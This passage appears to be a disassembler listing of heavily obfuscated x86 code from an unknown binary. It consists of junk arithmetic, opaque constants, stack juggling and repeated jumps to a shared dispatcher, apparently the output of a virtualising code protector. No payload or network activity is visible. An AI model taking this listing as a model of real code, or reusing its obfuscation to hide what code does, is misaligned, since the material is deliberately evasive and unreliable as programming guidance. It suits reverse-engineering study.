; ---------------------------------------------------------------------------


loc_5741C8:				; CODE XREF: ud2_____:0057A3AEj
		mov	eax, 486229A1h
		jmp	loc_57911D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_578EDF
; ---------------------------------------------------------------------------


loc_5741DC:				; CODE XREF: ud2_____:0057D7CEj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_575FC3
; ---------------------------------------------------------------------------


loc_5741E6:				; CODE XREF: ud2_____:005735FFj
		add	ecx, 523D3280h
		add	ecx, 51AF35B9h
		xor	ecx, 3B8D3B65h
		sub	ecx, 8F3C54D5h
		add	eax, ecx
		jmp	loc_57D37A
; ---------------------------------------------------------------------------


loc_574205:				; CODE XREF: ud2_____:00576AB8j
		sub	edx, 19E543C9h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_574403
; ---------------------------------------------------------------------------


loc_574216:				; CODE XREF: ud2_____:0057938Cj
		mov	[esp], eax
		push	ecx
		push	52B650FCh
		jmp	loc_5733BB
; ---------------------------------------------------------------------------


loc_574224:				; CODE XREF: ud2_____:00572AC9j
		push	edx
		push	esi
		jmp	loc_5786EB
; ---------------------------------------------------------------------------


loc_57422B:				; CODE XREF: ud2_____:0057884Ej
		push	38694EA3h
		jmp	loc_57AA47
; ---------------------------------------------------------------------------


loc_574235:				; CODE XREF: ud2_____:0057CAD7j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	211Bh
		mov	[esp], eax
		push	4
		pop	eax
		add	ebx, eax
		pop	eax
		push	eax
		push	2
		pop	eax
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_573898
; ---------------------------------------------------------------------------


loc_57426C:				; CODE XREF: ud2_____:005757F1j
		sub	esp, 4
		jmp	loc_57CAD4
; ---------------------------------------------------------------------------


loc_574277:				; CODE XREF: ud2_____:0057376Cj
		add	eax, edi
		pop	edi
		pop	ecx
		push	ebp
		mov	ebp, 4C14682Bh
		add	ebp, 1E5148D6h
		jmp	loc_5752CA
; ---------------------------------------------------------------------------


loc_57428C:				; CODE XREF: ud2_____:005760BCj
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 84h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 7Ah
		jmp	loc_574A72
; ---------------------------------------------------------------------------


loc_5742A7:				; CODE XREF: ud2_____:00579F36j
		mov	edi, 7A8E05AFh
		neg	edi
		shl	edi, 6
		push	edx
		push	ebp
		mov	ebp, 0AEC532Dh
		add	ebp, 26C20B0Bh
		xor	ebp, 247117F9h
		mov	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 70B3414h
		add	edx, eax
		pop	eax
		xor	edi, edx
		pop	edx
		jmp	loc_577B23
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_577B4F
; ---------------------------------------------------------------------------


loc_5742E4:				; CODE XREF: ud2_____:0057D8F2j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_572902
; ---------------------------------------------------------------------------


loc_574301:				; CODE XREF: ud2_____:0057CA84j
		and	edi, edx
		pop	edx
		xor	edi, 0CF6104h
		add	ebx, edi
		pop	edi
		jmp	loc_572BD7
; ---------------------------------------------------------------------------


loc_574312:				; CODE XREF: ud2_____:00572AA7j
		mov	dl, 34h
		jmp	loc_5781FA
; ---------------------------------------------------------------------------


loc_574319:				; CODE XREF: ud2_____:0057C7D7j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_577F13
; ---------------------------------------------------------------------------


loc_574321:				; CODE XREF: ud2_____:00577B8Cj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_579F16
; ---------------------------------------------------------------------------


loc_574335:				; CODE XREF: ud2_____:00577BD2j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57433A:				; CODE XREF: ud2_____:0057C067j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_57ADB2
; ---------------------------------------------------------------------------


loc_574346:				; CODE XREF: ud2_____:00573F50j
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57D9E3
; ---------------------------------------------------------------------------


loc_574352:				; CODE XREF: ud2_____:00572B09j
		add	edi, ebp
		sub	edi, 31565EC8h
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_575D9B
; ---------------------------------------------------------------------------


loc_574366:				; CODE XREF: ud2_____:00573846j
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		mov	edi, 3D0A1ED3h
		neg	edi
		shl	edi, 3
		add	edi, 0E850F6BCh
		push	ebp
		mov	ebp, edi
		jmp	loc_576D66
; ---------------------------------------------------------------------------


loc_57438E:				; CODE XREF: ud2_____:005731A5j
		pop	ebx
		push	ebx
		mov	bh, ch
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	al, bh
		mov	cl, al
		pop	eax
		mov	dl, cl
		jmp	loc_572964
; ---------------------------------------------------------------------------


loc_5743A9:				; CODE XREF: ud2_____:00574DA3j
		and	[esp], eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5743B2:				; CODE XREF: ud2_____:00575A6Fj
		mov	ebx, [esp]
		jmp	loc_57D6A4
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5743C1:				; CODE XREF: ud2_____:0057B068j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5743CF:				; CODE XREF: ud2_____:005731B8j
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57CE35
; ---------------------------------------------------------------------------


loc_5743E0:				; CODE XREF: ud2_____:0057A7DCj
		mov	ebx, 4
		add	dword ptr [esp+4], 291F37B1h
		jmp	loc_573875
; ---------------------------------------------------------------------------


loc_5743F2:				; CODE XREF: ud2_____:005797F3j
		add	eax, 4
		jmp	loc_573037
; ---------------------------------------------------------------------------


loc_5743FC:				; CODE XREF: ud2_____:0057D526j
		xor	edx, esi
		jmp	loc_57AABD
; ---------------------------------------------------------------------------


loc_574403:				; CODE XREF: ud2_____:00574211j
		push	edx
		jmp	loc_575458
; ---------------------------------------------------------------------------


loc_574409:				; CODE XREF: ud2_____:00578811j
		xor	eax, ebp
		push	236Dh
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	226Bh
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_57B8A3
; ---------------------------------------------------------------------------


loc_574433:				; CODE XREF: ud2_____:0057980Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_579F83
; ---------------------------------------------------------------------------


loc_574443:				; CODE XREF: ud2_____:005797DDj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 252F3BABh
		sub	edx, ecx
		pop	ecx
		add	edx, ecx
		add	edx, 252F3BABh
		jmp	loc_579FAE
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57446B:				; CODE XREF: ud2_____:00578E8Aj
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_571E1C
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_57863C
; ---------------------------------------------------------------------------
		push	4029h
		jmp	loc_57D631
; ---------------------------------------------------------------------------


loc_57448F:				; CODE XREF: ud2_____:00576503j
		mov	ebx, [esp]
		jmp	loc_571AF7
; ---------------------------------------------------------------------------


loc_574497:				; CODE XREF: ud2_____:0057D303j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_578B85
; ---------------------------------------------------------------------------


loc_5744A2:				; CODE XREF: ud2_____:00577FB6j
		push	edx
		mov	edx, 4
		jmp	loc_57D273
; ---------------------------------------------------------------------------


loc_5744AD:				; CODE XREF: ud2_____:0057299Dj
		mov	ecx, 1D3339F5h
		shr	ecx, 8
		push	edi
		mov	edi, 2704252Eh
		jmp	loc_5728A2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5744D0:				; CODE XREF: ud2_____:0057B5E8j
		mov	edi, 16C94C88h
		not	edi
		or	edi, 3FB72B68h
		sub	edi, 0FFB7BB7Bh
		add	esi, edi
		jmp	loc_57736D
; ---------------------------------------------------------------------------


loc_5744EA:				; CODE XREF: ud2_____:0057A2D4j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	4
		pop	ebp
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_57ABE2
; ---------------------------------------------------------------------------


loc_574528:				; CODE XREF: ud2_____:0057DAF8j
		mov	esi, 2F1AC083h
		jmp	loc_57AFAF
; ---------------------------------------------------------------------------


loc_574532:				; CODE XREF: ud2_____:005753E9j
		xor	esi, [esp]
		mov	esp, [esp]
		push	4674h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_575655
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574558:				; CODE XREF: ud2_____:0057AD1Fj
		pop	ebp
		shl	ecx, 7
		dec	ecx
		inc	ecx
		xor	ecx, 0CADE6C77h
		sub	eax, ecx
		jmp	loc_5794D2
; ---------------------------------------------------------------------------


loc_57456B:				; CODE XREF: ud2_____:0057CEAAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7B464EC8h
		mov	esi, 56004216h
		xor	esi, ebp
		pop	ebp
		and	esi, 55767C7Fh
		jmp	loc_577389
; ---------------------------------------------------------------------------


loc_574589:				; CODE XREF: ud2_____:005799AFj
		dec	edx
		jmp	loc_57B70D
; ---------------------------------------------------------------------------


loc_57458F:				; CODE XREF: ud2_____:0057DC83j
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, 48491402h
		inc	esi
		shr	esi, 3
		jmp	loc_573CCD
; ---------------------------------------------------------------------------


loc_5745A5:				; CODE XREF: ud2_____:0057A191j
		or	ebp, 5D6B3A84h
		jmp	loc_57928A
; ---------------------------------------------------------------------------


loc_5745B0:				; CODE XREF: ud2_____:00577BB5j
		xor	edx, 520716A6h
		jmp	loc_571D21
; ---------------------------------------------------------------------------


loc_5745BB:				; CODE XREF: ud2_____:00575AAEj
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		jmp	loc_579461
; ---------------------------------------------------------------------------


loc_5745C5:				; CODE XREF: ud2_____:00573269j
		add	edx, edi
		sub	edx, 40A476BFh
		push	eax
		mov	eax, 69876538h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_57791E
; ---------------------------------------------------------------------------


loc_5745ED:				; CODE XREF: ud2_____:0057CEE9j
		mov	[esp], ebx
		push	1DE1h
		push	esp
		jmp	loc_575858
; ---------------------------------------------------------------------------


loc_5745FB:				; CODE XREF: ud2_____:0057516Aj
		mov	[esp], esi
		mov	esi, 53CA25EEh
		mov	ecx, esi
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_576EBA
; ---------------------------------------------------------------------------


loc_574615:				; CODE XREF: ud2_____:00572DB0j
		mov	esi, 3B751A95h
		sub	edx, esi
		jmp	loc_57331C
; ---------------------------------------------------------------------------


loc_574621:				; CODE XREF: ud2_____:00577EB6j
		add	edx, ebp
		pop	ebp
		jmp	loc_57260E
; ---------------------------------------------------------------------------


loc_574629:				; CODE XREF: ud2_____:00572B13j
		mov	[esp], eax
		push	edx
		mov	edx, esp
		jmp	loc_57B71D
; ---------------------------------------------------------------------------


loc_574634:				; CODE XREF: ud2_____:0057C325j
		not	esi
		shr	esi, 5
		add	esi, 0FFC860C1h
		sub	ecx, esi
		mov	esi, [esp]
		jmp	loc_57CF91
; ---------------------------------------------------------------------------


loc_574649:				; CODE XREF: ud2_____:0057C913j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_57C499
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57466D:				; CODE XREF: ud2_____:005762A1j
		add	edi, edx
		jmp	loc_574F48
; ---------------------------------------------------------------------------


loc_574674:				; CODE XREF: ud2_____:0057A5E6j
		mov	ecx, 6BC833F5h
		not	ecx
		push	edx
		jmp	loc_578A4B
; ---------------------------------------------------------------------------


loc_574681:				; CODE XREF: ud2_____:005772C9j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 2A8F4F2Eh
		mov	eax, 908269E9h
		jmp	loc_578262
; ---------------------------------------------------------------------------


loc_57469E:				; CODE XREF: ud2_____:0057D213j
		pop	edx
		jmp	loc_5753BB
; ---------------------------------------------------------------------------


loc_5746A4:				; CODE XREF: ud2_____:0057CF78j
		pop	ecx
		and	ecx, 43C75A3Bh
		sub	ecx, 1BEC460Eh
		xor	ecx, 836CAF40h
		mov	ebp, ecx
		jmp	loc_57D1DC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_57A358
; ---------------------------------------------------------------------------


loc_5746C8:				; CODE XREF: ud2_____:00576796j
		xor	al, bh
		pop	ebx
		sub	esp, 4
		jmp	loc_57AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_5746D6:				; CODE XREF: sub_59C59F-25C88j
		add	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		jmp	loc_575F28
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_5746EE:				; CODE XREF: ud2_____:0057A32Bj
		push	47223A7Ah
		pop	ebx
		not	ebx
		xor	ebx, 0BEA0D71Dh
		mov	esi, ebx
		pop	ebx
		add	edi, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edi, 701A4C3Bh
		shl	edi, 4
		jmp	loc_5756C3
; ---------------------------------------------------------------------------


loc_574722:				; CODE XREF: ud2_____:0057679Ej
		push	1B6Bh
		jmp	loc_57A6EC
; ---------------------------------------------------------------------------


loc_57472C:				; CODE XREF: ud2_____:00571F06j
		mov	[esp], ebp
		mov	ebp, 2C7B2165h
		sub	dword ptr [esp+8], 357E0AC5h
		sub	[esp+8], ebp
		add	dword ptr [esp+8], 357E0AC5h
		pop	ebp
		pop	esi
		jmp	loc_571AB2
; ---------------------------------------------------------------------------


loc_57474F:				; CODE XREF: ud2_____:0057BF50j
		pop	edi
		xor	edx, esi
		pop	esi
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5752FF
		push	6320h
		jmp	loc_57B58E
; ---------------------------------------------------------------------------


loc_574768:				; CODE XREF: ud2_____:00574923j
		mov	esp, [esp]
		push	76EDh
		jmp	loc_576D18
; ---------------------------------------------------------------------------


loc_574775:				; CODE XREF: ud2_____:00577BC0j
		sub	edi, 5EA51C6Eh
		add	edi, ebx
		add	edi, 5EA51C6Eh
		push	ecx
		mov	ecx, 67DB56C5h
		add	edi, ecx
		pop	ecx
		add	edi, 89076F2h
		pop	ebx
		jmp	loc_575960
; ---------------------------------------------------------------------------


loc_574798:				; CODE XREF: ud2_____:00572816j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_57A929
; ---------------------------------------------------------------------------


loc_5747A8:				; CODE XREF: ud2_____:0057A5FAj
		pop	eax
		pop	esi
		add	edx, edi
		sub	esp, 4
		jmp	loc_5774B7
; ---------------------------------------------------------------------------


loc_5747B7:				; CODE XREF: ud2_____:0057DA46j
		mov	edx, esi
		pop	esi
		shr	edx, 6
		shl	edx, 1
		jmp	loc_573CE6
; ---------------------------------------------------------------------------


loc_5747C4:				; CODE XREF: ud2_____:0057B66Ej
		push	ecx
		jmp	loc_571CFA
; ---------------------------------------------------------------------------


loc_5747CA:				; CODE XREF: ud2_____:00578141j
		sub	al, cl
		pop	ecx
		pop	ecx
		sub	al, 70h
		push	ebx
		mov	bl, 0EBh
		add	bl, 8Bh
		jmp	loc_57A23F
; ---------------------------------------------------------------------------


loc_5747DB:				; CODE XREF: ud2_____:00571F4Bj
		sub	ebp, 2B8C27C6h
		add	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_57647B
; ---------------------------------------------------------------------------


loc_5747EB:				; CODE XREF: ud2_____:00573CFDj
		inc	edx
		add	edx, 0CA71A7E9h
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_5747FB:				; CODE XREF: ud2_____:00575E34j
		push	7DA2h
		jmp	loc_57AE08
; ---------------------------------------------------------------------------


loc_574805:				; CODE XREF: ud2_____:00574055j
		pop	eax
		xor	dl, 0A8h
		add	bl, dl
		pop	edx
		push	edx
		mov	dl, 99h
		xor	dl, 83h
		push	56C6h
		jmp	loc_572458
; ---------------------------------------------------------------------------


loc_57481C:				; CODE XREF: ud2_____:0057AE52j
		pop	ecx
		neg	ebx
		xor	ebx, 371B0221h
		dec	ebx
		push	ecx
		push	ebp
		mov	ebp, 2C2A4E13h
		jmp	loc_574A7C
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	6E54h
		jmp	loc_5750B0
; ---------------------------------------------------------------------------


loc_574844:				; CODE XREF: ud2_____:005757E0j
		pop	eax
		push	ebx
		jmp	loc_57706D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1A08h
		jmp	loc_57301B
; ---------------------------------------------------------------------------


loc_574859:				; CODE XREF: ud2_____:0057D0ABj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_579E96
; ---------------------------------------------------------------------------


loc_574869:				; CODE XREF: ud2_____:0057380Cj
		and	ebp, ecx
		pop	ecx
		jmp	loc_57B25D
; ---------------------------------------------------------------------------


loc_574871:				; CODE XREF: ud2_____:0057542Fj
		and	eax, 3108387Ah
		sub	eax, 33092E87h
		not	eax
		shr	eax, 6
		sub	eax, 0BC458B9Fh
		and	ebp, eax
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 564F7BFEh
		xor	ebx, 524D4BBAh
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	186Fh
		mov	[esp], edi
		jmp	loc_576CA5
; ---------------------------------------------------------------------------


loc_5748D1:				; CODE XREF: ud2_____:005762DAj
		dec	ecx
		inc	ecx
		xor	ecx, 3C1C2B46h
		sub	ecx, 0F6D820B9h
		push	ecx
		add	dword ptr [esp], 57E51F53h
		pop	edi
		push	edx
		mov	edx, 57E51F53h
		sub	edi, edx
		jmp	loc_57A5D4
; ---------------------------------------------------------------------------


loc_5748F5:				; CODE XREF: ud2_____:00573230j
		push	0E4Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_576F65
; ---------------------------------------------------------------------------


loc_574909:				; CODE XREF: ud2_____:005789E2j
		push	edx
		mov	edx, 2
		add	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_574768
; ---------------------------------------------------------------------------


loc_574928:				; CODE XREF: ud2_____:00575B7Fj
		or	edx, 19625732h
		jmp	loc_57A9F3
; ---------------------------------------------------------------------------


loc_574933:				; CODE XREF: ud2_____:00577AB6j
		xor	ebx, 56C01175h
		push	eax
		jmp	loc_573A3D
; ---------------------------------------------------------------------------


loc_57493F:				; CODE XREF: ud2_____:0057D77Ej
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	351h
		mov	[esp], ecx
		push	esi
		push	38D7h
		mov	[esp], ecx
		jmp	loc_57775B
; ---------------------------------------------------------------------------


loc_574960:				; CODE XREF: ud2_____:0057C2C3j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_57348C
; ---------------------------------------------------------------------------


loc_57496D:				; CODE XREF: ud2_____:00579FE2j
		sub	al, 0D9h
		xor	bl, al
		pop	eax
		add	bl, 0ACh
		or	bl, 24h
		neg	bl
		add	bl, 0FCh
		jmp	loc_57AE35
; ---------------------------------------------------------------------------


loc_574982:				; CODE XREF: ud2_____:0057C106j
		push	dword ptr [esp]
		jmp	loc_5781D2
; ---------------------------------------------------------------------------


loc_57498A:				; CODE XREF: ud2_____:0057AF81j
		or	eax, 42FA2A99h
		jmp	loc_57C9D6
; ---------------------------------------------------------------------------


loc_574994:				; CODE XREF: ud2_____:0057D666j
		pop	ecx
		add	esp, 4
		push	5D9Dh
		mov	[esp], ecx
		xor	dword ptr [esp], 1E123804h
		pop	eax
		xor	eax, 1E123804h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 21597FE1h
		jmp	loc_5787EF
; ---------------------------------------------------------------------------


loc_5749C4:				; CODE XREF: ud2_____:00578028j
		and	edx, 2ADC63B9h
		jmp	loc_57D977
; ---------------------------------------------------------------------------


loc_5749CF:				; CODE XREF: ud2_____:0057916Bj
		pop	ebx
		add	esi, eax
		add	esi, 0D6C6647h
		push	ebx
		jmp	loc_5757C3
; ---------------------------------------------------------------------------


loc_5749DE:				; CODE XREF: ud2_____:00575D3Fj
		sub	ebx, 5BAC1E03h
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57C697
; ---------------------------------------------------------------------------


loc_5749F3:				; CODE XREF: ud2_____:0057A0C1j
		pop	esp
		push	7AD8h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 180D16A3h
		sub	edi, 0D119C94Ah
		jmp	loc_57A691
; ---------------------------------------------------------------------------


loc_574A0F:				; CODE XREF: ud2_____:0057DAEFj
		xor	[esp], esi
		jmp	loc_5783CE
; ---------------------------------------------------------------------------


loc_574A17:				; CODE XREF: ud2_____:00577BEFj
		sub	ebx, 4D220FFDh
		push	eax
		mov	eax, 65373686h
		jmp	loc_57B81E
; ---------------------------------------------------------------------------


loc_574A28:				; CODE XREF: ud2_____:005755F9j
		xchg	edx, ebx
		jmp	loc_575141
; ---------------------------------------------------------------------------


loc_574A2F:				; CODE XREF: ud2_____:00571F9Fj
		add	ebx, ecx
		jmp	loc_578E8F
; ---------------------------------------------------------------------------


loc_574A36:				; CODE XREF: ud2_____:0057C303j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		push	2908h
		mov	[esp], ecx
		jmp	loc_57642A
; ---------------------------------------------------------------------------


loc_574A58:				; CODE XREF: ud2_____:00577D78j
		shr	dl, 8
		xor	dl, 1Bh
		mov	al, dl
		pop	edx
		shr	al, 8
		jmp	loc_57C576
; ---------------------------------------------------------------------------


loc_574A69:				; CODE XREF: ud2_____:00577756j
		xor	[esp], eax
		pushf
		jmp	loc_5753A7
; ---------------------------------------------------------------------------


loc_574A72:				; CODE XREF: ud2_____:005742A2j
		mov	bh, dl
		pop	edx
		sub	bh, dh
		jmp	loc_573179
; ---------------------------------------------------------------------------


loc_574A7C:				; CODE XREF: ud2_____:0057482Dj
		mov	ecx, 60E089F3h
		sub	ecx, ebp
		jmp	loc_579DE6
; ---------------------------------------------------------------------------


loc_574A88:				; CODE XREF: ud2_____:0057AEE8j
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 4A9F697Ah
		jmp	loc_575709
; ---------------------------------------------------------------------------


loc_574A9C:				; CODE XREF: ud2_____:0057D23Dj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574AA1:				; CODE XREF: ud2_____:0057B7C3j
		add	esi, 22771D08h
		sub	esi, 27630E5Bh
		jmp	loc_57B0AA
; ---------------------------------------------------------------------------


loc_574AB2:				; CODE XREF: ud2_____:00579D9Cj
		sub	esi, 427E5A2Bh
		add	esi, 1C461062h
		jmp	loc_575093
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0F4h
		push	ecx
		mov	cl, 2Ah
		jmp	loc_5772FB
; ---------------------------------------------------------------------------


loc_574ACE:				; CODE XREF: ud2_____:00577F19j
		xor	eax, ecx
		push	12FCh
		mov	[esp], eax
		xor	[esp], ebp
		jmp	loc_57865D
; ---------------------------------------------------------------------------


loc_574AE0:				; CODE XREF: ud2_____:0057667Bj
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_57B289
; ---------------------------------------------------------------------------


loc_574AEB:				; CODE XREF: ud2_____:00573016j
		inc	bh
		push	5C97h
		jmp	loc_577CD0
; ---------------------------------------------------------------------------
		push	76E6h
		mov	[esp], ebp
		jmp	loc_57C52F
; ---------------------------------------------------------------------------


loc_574B04:				; CODE XREF: ud2_____:0057C98Aj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	0FFFFFFFFh
		pop	ebx
		sub	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_571C1C
; ---------------------------------------------------------------------------


loc_574B27:				; CODE XREF: ud2_____:00572ACFj
		add	ebx, 54535BCh
		mov	dword ptr [ebx], 0
		pop	ebx


loc_574B34:				; CODE XREF: ud2_____:005740C2j
					; ud2_____:loc_57B06Dj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_576E4E
; ---------------------------------------------------------------------------


loc_574B4A:				; CODE XREF: ud2_____:0057AF3Aj
		pop	ebp
		add	esi, eax
		jmp	loc_574F72
; ---------------------------------------------------------------------------


loc_574B52:				; CODE XREF: ud2_____:0057634Dj
		add	ecx, edx
		pop	edx
		push	4220h
		mov	[esp], ecx
		add	dword ptr [esp], 61770CC7h
		pop	ebp
		sub	ebp, 61770CC7h
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5727B5
		push	edx
		mov	edx, 28h
		add	edx, 1AD005AAh
		jmp	loc_5763FE
; ---------------------------------------------------------------------------


loc_574B88:				; CODE XREF: ud2_____:0057C2ADj
		push	ebp
		jmp	loc_57C464
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_57C075
; ---------------------------------------------------------------------------


loc_574BA1:				; CODE XREF: ud2_____:005789CEj
		pop	eax
		jmp	loc_57BDF1
; ---------------------------------------------------------------------------


loc_574BA7:				; CODE XREF: ud2_____:005723E2j
		push	esp
		jmp	loc_57B002
; ---------------------------------------------------------------------------


loc_574BAD:				; CODE XREF: ud2_____:0057B920j
		btr	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574BB8:				; CODE XREF: ud2_____:00571F6Dj
		push	3A72h
		mov	[esp], edi
		sub	dword ptr [esp], 7BAC27B3h
		pop	eax
		add	eax, 7BAC27B3h
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57C718
; ---------------------------------------------------------------------------


loc_574BDE:				; CODE XREF: ud2_____:0057C46Cj
		mov	edx, 429217FCh
		xor	edx, 16FC08C4h
		jmp	loc_573E96
; ---------------------------------------------------------------------------


loc_574BEE:				; CODE XREF: ud2_____:0057A9BFj
		push	ecx
		mov	ecx, 460A7BC2h
		jmp	loc_57BF7A
; ---------------------------------------------------------------------------


loc_574BF9:				; CODE XREF: ud2_____:00573167j
		mov	[esp], eax
		push	edi
		push	2CF511A9h
		pop	edi
		inc	edi
		sub	edi, 2CF511A6h
		mov	eax, edi
		pop	edi
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_577F4B
; ---------------------------------------------------------------------------


loc_574C24:				; CODE XREF: ud2_____:00575154j
		sub	esi, 215A1E79h
		xor	esi, 6DDC722Eh
		add	ebp, esi
		jmp	loc_5766D9
; ---------------------------------------------------------------------------


loc_574C37:				; CODE XREF: ud2_____:00571CA1j
		add	bh, ch
		pop	ecx
		add	bh, 0FFh
		xor	bh, 1Fh
		xor	al, bh
		push	dword ptr [esp]
		jmp	loc_57DA4B
; ---------------------------------------------------------------------------


loc_574C4A:				; CODE XREF: ud2_____:00575DE2j
		push	eax
		jmp	loc_577F1E
; ---------------------------------------------------------------------------


